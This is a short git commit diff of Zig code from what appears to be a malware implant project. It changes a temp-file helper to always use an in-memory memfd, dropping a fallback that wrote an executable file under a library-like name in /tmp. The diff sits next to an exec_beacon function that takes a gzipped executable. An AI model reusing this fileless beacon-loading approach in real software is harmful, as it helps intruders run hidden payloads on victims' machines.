feat: finished loading winpcap drivers
This commit is contained in:
@@ -12,15 +12,8 @@ const Parameters = abi.Parameters;
|
||||
const config = @import("config");
|
||||
|
||||
fn open_temp() !std.fs.File {
|
||||
switch (builtin.os.tag) {
|
||||
.linux => {
|
||||
const fd = try posix.memfd_create("", 0);
|
||||
return std.fs.File{ .handle = @intCast(fd) };
|
||||
},
|
||||
else => {
|
||||
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
||||
},
|
||||
}
|
||||
const fd = try posix.memfd_create("", 0);
|
||||
return std.fs.File{ .handle = @intCast(fd) };
|
||||
}
|
||||
|
||||
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
|
||||
Reference in New Issue
Block a user